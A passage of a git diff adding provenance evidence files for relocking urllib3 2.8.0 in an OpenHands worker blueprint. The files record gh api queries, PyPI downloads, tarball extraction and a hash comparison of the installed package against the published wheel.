+935e34547853b50ebe901a18bc054df02c3f0a6734b3dafbe6e3c654117cb21b /constraints.txt + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt new file mode 100644 index 000000000..93ab210ff --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/OpenHands/software-agent-sdk/releases/tags/v1.50.0", "--jq", "{tag_name,published_at,html_url,body}"] +cwd: +started_utc: 2026-09-30T15:46:04.825073+00:00 +ended_utc: 2026-09-30T15:46:05.262390+00:00 +exit_code: 0 + +stdout: +{"body":"## What's Changed\n* fix(llm): gate prompt_cache_key on provider support by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5328\n* chore(deps): bump aiosqlite from 0.21.0 to 0.22.1 by @dependabot[bot] in https://github.com/OpenHands/software-agent-sdk/pull/5298\n* fix(condenser): never forget the leading SystemPromptEvent (#5148) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5241\n* fix(grayswan): guarantee system message first when history window drops system prompt (#5147) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5240\n* fix(condenser): split summarization prompt into system + user messages by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5143\n* fix(agent-server): prepend system message to profile pre-flight ping (#5146) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5239\n* docs(agent): add docstrings for image helper functions by @BORAN002 in https://github.com/OpenHands/software-agent-sdk/pull/4656\n* fix(sdk): exclude boolean false from anyOf non-null type selection by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/4322\n* docs: clarify scope for new AI providers by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5313\n* chore(ci): fix inaccurate timings and wording in stale workflow by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4298\n* chore(openapi): exempt extensible tool metadata by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5286\n* fix(condenser): preserve leading system prompt on hard context reset (#5149) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5242\n* fix(goal): split judge prompt into system + user messages (#5145) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5238\n* fix(sdk): tolerate null cache_creation_tokens in usage telemetry (minimax-m3 crash) by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5327\n* refactor(sdk): centralize LLM call context by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4159\n* fix(sdk): resolve async response secrets outside the event loop by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4967\n* docs: refresh AGENTS.md guidance by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/5040\n* fix(sdk): keep conversations alive when MCP startup fails by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/5345\n* fix(deps): bump anyio to 4.14.2 for CVE-2026-63374 by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5361\n* feat(client): own browser conversation event stream transport by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5013\n* feat(apps): manage optional backend processes by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/5270\n* fix(ci): poll npm registry for typescript-client integrity in OpenHands bump by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/5331\n* feat(agent-server): register refresh-on-401 hook on managed-proxy LLMs by @aivong-openhands in https://github.com/OpenHands/software-agent-sdk/pull/5222\n* fix: surface LiteLLM budget denials without retry backoff by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/5309\n* Release v1.50.0 by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/5374\n\n\n**Full Changelog**: https://github.com/OpenHands/software-agent-sdk/compare/v1.49.6...v1.50.0","html_url":"https://github.com/OpenHands/software-agent-sdk/releases/tag/v1.50.0","published_at":"2026-09-29T20:09:53Z","tag_name":"v1.50.0"} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt new file mode 100644 index 000000000..c3e11e2c8 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "--location", "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", "--output", "/source.tar.gz"] +cwd: +started_utc: 2026-09-30T15:46:02.968510+00:00 +ended_utc: 2026-09-30T15:46:03.660351+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt new file mode 100644 index 000000000..94d7d0bc5 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "tar", "-xzf", "/source.tar.gz", "-C", "/source"] +cwd: +started_utc: 2026-09-30T15:46:05.346362+00:00 +ended_utc: 2026-09-30T15:46:05.907530+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt new file mode 100644 index 000000000..4818d5e32 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "tar", "-xzf", "/source.tar.gz", "-C", "/source-repro"] +cwd: +started_utc: 2026-09-30T15:46:05.908393+00:00 +ended_utc: 2026-09-30T15:46:06.482600+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt new file mode 100644 index 000000000..677a8815d --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "--location", "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", "--output", "/urllib3-2.8.0-py3-none-any.whl"] +cwd: +started_utc: 2026-09-30T15:46:06.759722+00:00 +ended_utc: 2026-09-30T15:46:06.848255+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt new file mode 100644 index 000000000..ffe456308 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "--location", "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", "--output", "/urllib3-2.8.0.tar.gz"] +cwd: +started_utc: 2026-09-30T15:46:06.849347+00:00 +ended_utc: 2026-09-30T15:46:06.948079+00:00 +exit_code: 0 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt new file mode 100644 index 000000000..6655ade6c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "rg", "-n", "-i", "oauthlib|oauth2|enable_jsonp|create_revocation_response|AuthorizationCodeGrant", "/venv/lib/python3.13/site-packages/urllib3"] +cwd: +started_utc: 2026-09-30T15:51:42.618926+00:00 +ended_utc: 2026-09-30T15:51:42.678931+00:00 +exit_code: 1 + +stdout: + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt new file mode 100644 index 000000000..1fb89dfb9 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt @@ -0,0 +1,15 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-c", "import sys,hashlib,zipfile,json\nfrom pathlib import Path\np,site=map(Path,sys.argv[1:3]);wheel=p/'urllib3-2.8.0-py3-none-any.whl';compared=[];mismatches=[]\nwith zipfile.ZipFile(wheel) as z:\n for n in z.namelist():\n if n.endswith('.py'):\n compared.append(n)\n if not (site/n).is_file() or (site/n).read_bytes()!=z.read(n):mismatches.append(n)\nprint(json.dumps({'artifact':wheel.name,'artifact_sha256':hashlib.sha256(wheel.read_bytes()).hexdigest(),'python_sources_compared':len(compared),'mismatches':mismatches},indent=2))\nassert compared and not mismatches\n", "", "/venv/lib/python3.13/site-packages"] +cwd: +started_utc: 2026-09-30T15:51:42.517652+00:00 +ended_utc: 2026-09-30T15:51:42.615659+00:00 +exit_code: 0 + +stdout: +{ + "artifact": "urllib3-2.8.0-py3-none-any.whl", + "artifact_sha256": "0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", + "python_sources_compared": 36, + "mismatches": [] +} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt new file mode 100644 index 000000000..6ac478863 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "https://pypi.org/pypi/urllib3/2.8.0/json"] +cwd: +started_utc: 2026-09-30T15:44:09.904944+00:00 +ended_utc: 2026-09-30T15:44:09.994447+00:00 +exit_code: 0 + +stdout: +{"info":{"author":null,"author_email":"Andrey Petrov ","bugtrack_url":null,"classifiers":["Environment :: Web Environment","Intended Audience :: Developers","Operating System :: OS Independent","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Programming Language :: Python :: Free Threading :: 2 - Beta","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Internet :: WWW/HTTP","Topic :: Software Development :: Libraries"],"description":"

\n\n![urllib3](https://github.com/urllib3/urllib3/raw/main/docs/_static/banner_github.svg)\n\n

\n\n

\n \"PyPI\n \"Python\n \"Join\n \"Coverage\n \"Build\n \"Documentation
\n \"OpenSSF\n \"SLSA\n \"CII\n

\n\nurllib3 is a powerful, *user-friendly* HTTP client for Python.\nurllib3 brings many critical features that are missing from the Python\nstandard libraries:\n\n- Thread safety.\n- Connection pooling.\n- Client-side SSL/TLS verification.\n- File uploads with multipart encoding.\n- Helpers for retrying requests and dealing with HTTP redirects.\n- Support for gzip, deflate, brotli, and zstd encoding.\n- Proxy support for HTTP and SOCKS.\n- 100% test coverage.\n\n... and many more features, but most importantly: Our maintainers have a 15+\nyear track record of maintaining urllib3 with the highest code standards and\nattention to security and safety.\n\n[Much of the Python ecosystem already uses urllib3](https://urllib3.readthedocs.io/en/stable/#who-uses)\nand you should too.\n\n\n## Installing\n\nurllib3 can be installed with [pip](https://pip.pypa.io):\n\n```bash\n$ python -m pip install urllib3\n```\n\nAlternatively, you can grab the latest source code from [GitHub](https://github.com/urllib3/urllib3):\n\n```bash\n$ git clone https://github.com/urllib3/urllib3.git\n$ cd urllib3\n$ pip install .\n```\n\n## Getting Started\n\nurllib3 is easy to use:\n\n```python3\n>>> import urllib3\n>>> resp = urllib3.request(\"GET\", \"http://httpbin.org/robots.txt\")\n>>> resp.status\n200\n>>> resp.data\nb\"User-agent: *\\nDisallow: /deny\\n\"\n```\n\nurllib3 has usage and reference documentation at [urllib3.readthedocs.io](https://urllib3.readthedocs.io).\n\n\n## Community\n\nurllib3 has a [community Discord channel](https://discord.gg/urllib3) for asking questions and\ncollaborating with other contributors. Drop by and say hello 👋\n\n\n## Contributing\n\nurllib3 welcomes contributions. Please read our\n[contributing documentation](https://urllib3.readthedocs.io/en/latest/contributing.html)\nbefore starting work.\n\nCheck for existing pull requests addressing the same issue, and share feedback\nand suggestions in the existing pull request and issue. Duplicate pull\nrequests, including alternative solutions, will be rejected without review\nunless a maintainer has approved opening an alternative pull request in\nadvance.\n\n\n## Security Disclosures\n\nTo report a security vulnerability, please use the\n[Tidelift security contact](https://tidelift.com/security).\nTidelift will coordinate the fix and disclosure with maintainers.\n\nSee the repository\n[Security Policy](https://urllib3.readthedocs.io/en/latest/security.html)\nfor more details.\n\n\n## Maintainers\n\nMeet our maintainers since 2008:\n\n- Current Lead: [@illia-v](https://github.com/illia-v) (Illia Volochii)\n- [@sethmlarson](https://github.com/sethmlarson) (Seth M. Larson)\n- [@pquentin](https://github.com/pquentin) (Quentin Pradet)\n- [@theacodes](https://github.com/theacodes) (Thea Flowers)\n- [@haikuginger](https://github.com/haikuginger) (Jess Shapiro)\n- [@lukasa](https://github.com/lukasa) (Cory Benfield)\n- [@sigmavirus24](https://github.com/sigmavirus24) (Ian Stapleton Cordasco)\n- [@shazow](https://github.com/shazow) (Andrey Petrov)\n\n👋\n\n\n## Sponsorship\n\nIf your company benefits from this library, please consider [sponsoring its\ndevelopment](https://urllib3.readthedocs.io/en/latest/sponsors.html).\n\n\n## For Enterprise\n\nProfessional support for urllib3 is available as part of the [Tidelift\nSubscription][1]. Tidelift gives software development teams a single source for\npurchasing and maintaining their software, with professional grade assurances\nfrom the experts who know it best, while seamlessly integrating with existing\ntools.\n\n[1]: https://tidelift.com/subscription/pkg/pypi-urllib3?utm_source=pypi-urllib3&utm_medium=referral&utm_campaign=readme\n","description_content_type":"text/markdown","docs_url":null,"download_url":null,"downloads":{"last_day":-1,"last_month":-1,"last_week":-1},"dynamic":null,"home_page":null,"keywords":"filepost, http, httplib, https, pooling, ssl, threadsafe, urllib","license":null,"license_expression":"MIT","license_files":["LICENSE.txt"],"maintainer":null,"maintainer_email":"Seth Michael Larson , Quentin Pradet , Illia Volochii ","name":"urllib3","package_url":"https://pypi.org/project/urllib3/","platform":null,"project_url":"https://pypi.org/project/urllib3/","project_urls":{"Changelog":"https://github.com/urllib3/urllib3/blob/main/CHANGES.rst","Code":"https://github.com/urllib3/urllib3","Documentation":"https://urllib3.readthedocs.io","Issue tracker":"https://github.com/urllib3/urllib3/issues","Security policy":"https://urllib3.readthedocs.io/en/latest/security.html"},"provides_extra":["brotli","h2","socks","zstd"],"release_url":"https://pypi.org/project/urllib3/2.8.0/","requires_dist":["brotli>=1.2.0; platform_python_implementation == \"CPython\" and extra == \"brotli\"","brotlicffi>=1.2.0.0; platform_python_implementation != \"CPython\" and extra == \"brotli\"","h2<5,>=4; extra == \"h2\"","pysocks!=1.5.7,<2.0,>=1.5.6; extra == \"socks\"","backports-zstd>=1.0.0; python_version < \"3.14\" and extra == \"zstd\""],"requires_python":">=3.10","summary":"HTTP library with thread-safe connection pooling, file post, and more.","version":"2.8.0","yanked":false,"yanked_reason":null},"last_serial":41105803,"ownership":{"organization":null,"roles":[{"role":"Owner","user":"SethMichaelLarson"},{"role":"Owner","user":"illia-v"},{"role":"Owner","user":"shazow"}]},"urls":[{"comment_text":null,"core-metadata":{"sha256":"10898c620e8007c030e07fa5622b68358a43010025dfbd78a1cb797699de2bb4"},"digests":{"blake2b_256":"929dc4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c","md5":"e6e9d40fb009e4a52290209506d8d4d4","sha256":"0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3"},"downloads":-1,"filename":"urllib3-2.8.0-py3-none-any.whl","has_sig":false,"md5_digest":"e6e9d40fb009e4a52290209506d8d4d4","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":135717,"upload_time":"2026-09-15T19:29:34","upload_time_iso_8601":"2026-09-15T19:29:34.577402Z","url":"https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"e305b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e","md5":"e8ed250b4d520f9e3c0df3165953aa94","sha256":"63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63"},"downloads":-1,"filename":"urllib3-2.8.0.tar.gz","has_sig":false,"md5_digest":"e8ed250b4d520f9e3c0df3165953aa94","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":458972,"upload_time":"2026-09-15T19:29:36","upload_time_iso_8601":"2026-09-15T19:29:36.253420Z","url":"https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz","yanked":false,"yanked_reason":null}],"vulnerabilities":[]} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt new file mode 100644 index 000000000..0b0b7f888 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/urllib3/urllib3/releases/tags/2.8.0"] +cwd: +started_utc: 2026-09-30T15:44:06.809788+00:00 +ended_utc: 2026-09-30T15:44:07.164240+00:00 +exit_code: 0 + +stdout: +{"url":"https://api.github.com/repos/urllib3/urllib3/releases/389415860","assets_url":"https://api.github.com/repos/urllib3/urllib3/releases/389415860/assets","upload_url":"https://uploads.github.com/repos/urllib3/urllib3/releases/389415860/assets{?name,label}","html_url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0","id":389415860,"author":{"login":"github-actions[bot]","id":41898282,"node_id":"MDM6Qm90NDE4OTgyODI=","avatar_url":"https://avatars.githubusercontent.com/in/15368?v=4","gravatar_id":"","url":"https://api.github.com/users/github-actions%5Bbot%5D","html_url":"https://github.com/apps/github-actions","followers_url":"https://api.github.com/users/github-actions%5Bbot%5D/followers","following_url":"https://api.github.com/users/github-actions%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/github-actions%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/github-actions%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github-actions%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/github-actions%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/github-actions%5Bbot%5D/repos","events_url":"https://api.github.com/users/github-actions%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/github-actions%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"node_id":"RE_kwDOACTItM4XNgO0","tag_name":"2.8.0","target_commitish":"main","name":"2.8.0","draft":false,"immutable":true,"prerelease":false,"created_at":"2026-09-15T19:19:34Z","updated_at":"2026-09-15T19:40:51Z","published_at":"2026-09-15T19:40:51Z","assets":[{"url":"https://api.github.com/repos/urllib3/urllib3/releases/assets/566357770","id":566357770,"node_id":"RA_kwDOACTItM4hwe8K","name":"urllib3-2.8.0-py3-none-any.whl","label":"","uploader":{"login":"github-actions[bot]","id":41898282,"node_id":"MDM6Qm90NDE4OTgyODI=","avatar_url":"https://avatars.githubusercontent.com/in/15368?v=4","gravatar_id":"","url":"https://api.github.com/users/github-actions%5Bbot%5D","html_url":"https://github.com/apps/github-actions","followers_url":"https://api.github.com/users/github-actions%5Bbot%5D/followers","following_url":"https://api.github.com/users/github-actions%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/github-actions%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/github-actions%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github-actions%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/github-actions%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/github-actions%5Bbot%5D/repos","events_url":"https://api.github.com/users/github-actions%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/github-actions%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":135717,"digest":"sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3","download_count":18,"created_at":"2026-09-15T19:29:20Z","updated_at":"2026-09-15T19:29:20Z","browser_download_url":"https://github.com/urllib3/urllib3/releases/download/2.8.0/urllib3-2.8.0-py3-none-any.whl"},{"url":"https://api.github.com/repos/urllib3/urllib3/releases/assets/566357771","id":566357771,"node_id":"RA_kwDOACTItM4hwe8L","name":"urllib3-2.8.0.tar.gz","label":"","uploader":{"login":"github-actions[bot]","id":41898282,"node_id":"MDM6Qm90NDE4OTgyODI=","avatar_url":"https://avatars.githubusercontent.com/in/15368?v=4","gravatar_id":"","url":"https://api.github.com/users/github-actions%5Bbot%5D","html_url":"https://github.com/apps/github-actions","followers_url":"https://api.github.com/users/github-actions%5Bbot%5D/followers","following_url":"https://api.github.com/users/github-actions%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/github-actions%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/github-actions%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github-actions%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/github-actions%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/github-actions%5Bbot%5D/repos","events_url":"https://api.github.com/users/github-actions%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/github-actions%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":458972,"digest":"sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63","download_count":119,"created_at":"2026-09-15T19:29:20Z","updated_at":"2026-09-15T19:29:21Z","browser_download_url":"https://github.com/urllib3/urllib3/releases/download/2.8.0/urllib3-2.8.0.tar.gz"}],"tarball_url":"https://api.github.com/repos/urllib3/urllib3/tarball/2.8.0","zipball_url":"https://api.github.com/repos/urllib3/urllib3/zipball/2.8.0","body":"## 🚀 urllib3 is fundraising for HTTP/2 support\r\n\r\n[urllib3 is raising ~$40,000 USD](https://sethmlarson.dev/urllib3-is-fundraising-for-http2-support) to release HTTP/2 support and ensure long-term sustainable maintenance of the project. If your company or organization uses Python and would benefit from HTTP/2 support in Requests, pip, cloud SDKs, and thousands of other projects [please consider contributing financially](https://opencollective.com/urllib3) to ensure HTTP/2 support is developed sustainably and maintained for the long-haul.\r\n\r\nThank you for your support.\r\n\r\n## Security\r\n\r\nFixed the following security issues:\r\n\r\n- The TLS configuration for HTTPS proxies could be ignored or overridden. (High severity, GHSA-8988-9cw3-xx77)\r\n- `HTTPResponse.stream()` and `read_chunked()` could buffer a chunk-size line of unbounded length in memory. (High severity, GHSA-vxq7-64xx-v4gw)\r\n- Chunked Deflate streaming could enter an infinite loop. (Medium severity, GHSA-gh4c-6fx4-qh6g)\r\n\r\n> [!IMPORTANT]\r\n> urllib3 2.8.0 fixes HTTPS proxy TLS configuration being ignored or overridden by destination settings. Configurations relying on that behavior may require changes.\r\n>\r\n> Configure proxy CA certificates and client certificates in `proxy_ssl_context`, and proxy identity checks with `proxy_assert_hostname` or `proxy_assert_fingerprint`. Destination client certificates and identity overrides no longer apply to HTTPS forwarding proxy connections.\r\n\r\n> [!NOTE]\r\n> CVE IDs had not yet been assigned to these advisories at the time of release due to a backlog at GitHub's CNA.\r\n\r\n## Deprecations & Removals\r\n\r\n- Deprecated using an empty collection as the `Retry` option `allowed_methods` to retry any verb. (#5044)\r\n\r\n## Features\r\n\r\n- Added `Url.auth_decoded` and `Url.auth_decoded_joined` convenience properties to the result of `parse_url()`. (#4945)\r\n- Added `basic_auth_encoding` and `proxy_basic_auth_encoding` parameters to `urllib3.util.make_headers()`. (#5092)\r\n\r\n## Bugfixes\r\n\r\n- Fixed response header handling to replace obsolete folded header lines (`obs-fold`) with spaces in accordance with RFC 9112, preventing raw CRLF sequences from appearing in header values such as `Set-Cookie`. (#1362)\r\n- Fixed usage of `proxy_ssl_context` with `ProxyManager` when `use_forwarding_for_https=True`. Passing `ssl_context` instead of `proxy_ssl_context` for HTTPS proxies in this configuration now emits a `FutureWarning` and will raise an error in v3.0. (#2577)\r\n- Changed behavior of the default `ConnectionPool.pool` initialization. `LifoQueue` is now resolved from the `queue` module after the `ConnectionPool` is instantiated instead of using the default cached `QueueCls` class property. This is done because sometimes the `queue.LifoQueue` is monkey-patched late in the program, such as by gevent. (#3289)\r\n- Raised `UnrewindableBodyError` instead of `ValueError` when retrying a request whose body had `tell()` but not `seek()`. (#3779)\r\n- Decoded percent-encoded SOCKS proxy credentials before authenticating with the proxy server. (#3785)\r\n- Fixed `HTTPResponse.drain_conn()` to discard unread response data in 64 KiB chunks (same as the default `amt` when doing `HTTPResponse.stream(...)`). (#5019)\r\n- Fixed `is_ipaddress()` to detect non-standard IPv4 forms accepted by `socket.connect`, such as hex (`0x7f000001`), octal (`0177.0.0.1`), and decimal integers (`2130706433`), ensuring SSL certificate verification uses the correct mode for these addresses. (#5029)\r\n- Fixed `HTTPConnectionPool.urlopen` raising a misleading `FullPoolError` instead of `ValueError` when called with an invalid `timeout` argument on a pool created with `block=True`. (#5059)\r\n- Fixed port-zero handling to preserve explicit `:0` values instead of substituting the default ports 80 or 443 in URL parsing, pool selection, proxy configuration, `connection_from_url()`, and HTTP/2 request authority. (#5071, #5101)\r\n- Fixed a bug where `PoolManager` passed the `assert_hostname` and `assert_fingerprint` parameters to HTTP connection pools. (#5077)\r\n- Fixed `HTTPConnectionPool.urlopen()` and HTTP proxy forwarding to strip URL fragments from absolute request targets before sending requests. (#5079)\r\n- Added safeguards to the proxy tunneling code to prevent potential security issues when handling invalid characters in the proxy host and HTTP headers. This change affects users of Python 3.10, Python 3.11, and Python 3.12 when the standard library does not contain the fix; those on newer Python versions should upgrade to 3.13.14+ or 3.14.5+ to get the same security fixes. (#5091)\r\n- Fixed `HTTPSConnection.connect()` overriding `ProxyConfig.ssl_context`'s certificate policy and proxy identity checks with the target connection's TLS settings when forwarding through an HTTPS proxy.\r\n\r\n `HTTPSConnection` no longer applies target SNI, assertions, or client credentials to forwarding proxy handshakes and continues to use its `ssl_context` as a fallback when an HTTPS proxy forwards an HTTP target. (#5093)\r\n- Fixed URL parsing to more strictly enforce RFC 3986 host syntax, rejecting invalid host input such as raw spaces and control characters, malformed percent-encodings, and percent-encoded control characters in HTTP(S) hosts and IPv6 zone identifiers, including proxy CONNECT tunnel targets. Host normalization now also follows RFC 3986 normalization rules for percent-encoded octets by decoding percent-encoded unreserved characters and uppercasing the hexadecimal digits of retained percent-encoded octets. (#5095)\r\n- Fixed an `AttributeError` on Python built with OpenSSL 4+, where `ssl.PROTOCOL_TLSv1` no longer exists. (#5097)\r\n- Fixed `urllib3.contrib.pyopenssl` to use cryptography APIs when reading a certificate subject and loading encrypted private keys, avoiding `DeprecationWarning` raised by pyOpenSSL 26.3.0+. (#5103)\r\n- Fixed handling of HTTP 303 redirects for requests with chunked or file-like bodies. (#5161)\r\n- Fixed `assert_fingerprint()` to raise `SSLError` instead of `binascii.Error` when a fingerprint has a supported length but contains non-hexadecimal characters. (#5211)\r\n\r\n## Misc\r\n\r\n- Added a `test` dependency group containing the minimum dependencies needed to run the test suite, intended for downstream packagers. The `dev-base` and `mypy` groups now include this new group via `include-group`, removing duplication. (#3594)\r\n- Fixed test failures with pytest >= 9.1. (#5094)\r\n- Enabled JSPI tests with Firefox in the Emscripten test suite. (#5166)\r\n- Improved streamed response decoding performance. (#5209)\r\n- Fixed flaky tests. (#5232, #5234, #5239)"} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt new file mode 100644 index 000000000..f950ef22b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/urllib3/urllib3/git/tags/2f980b433a89399ad5efd72e7f6da04e667ea287"] +cwd: +started_utc: 2026-09-30T15:46:04.090897+00:00 +ended_utc: 2026-09-30T15:46:04.426794+00:00 +exit_code: 0 + +stdout: 